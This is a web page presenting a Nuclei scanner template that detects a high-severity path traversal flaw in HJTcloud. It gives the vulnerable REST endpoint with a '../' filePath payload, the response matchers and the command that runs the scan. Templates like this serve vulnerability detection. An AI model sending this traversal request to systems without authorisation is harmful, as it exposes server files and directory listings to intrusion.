Skip to content

HJTcloud - Local File Inclusion

ID: hjtcloud-rest-arbitrary-file-read

Severity: high

Author: pikpikcu

Tags: hjtcloud,lfi

HJTcloud is vulnerable to local file inclusion.

id: hjtcloud-rest-arbitrary-file-read
info:
name: HJTcloud - Local File Inclusion
author: pikpikcu
severity: high
description: HJTcloud is vulnerable to local file inclusion.
reference:
- https://mp.weixin.qq.com/s/w2pkj5ADN7b5uxe-wmfGbw
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 1
tags: hjtcloud,lfi
http:
- method: GET
path:
- "{{BaseURL}}/him/api/rest/V1.0/system/log/list?filePath=../"
matchers-condition: and
matchers:
- type: word
words:
- '"name":'
- '"length":'
- '"filePath":'
- '"list":'
condition: and
part: body
- type: word
words:
- "application/json"
part: header
- type: status
status:
- 200
# digest: 4b0a00483046022100e99a7bc9b39d6619dc53e35cd59c76d018722a306821c2abe22886f801337cde022100e01e0ea1a0bc5d297fb2287e65612d62ad86d478a499acf89a5b38c7b771183d:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/hjtcloud-rest-arbitrary-file-read.yaml"

View on Github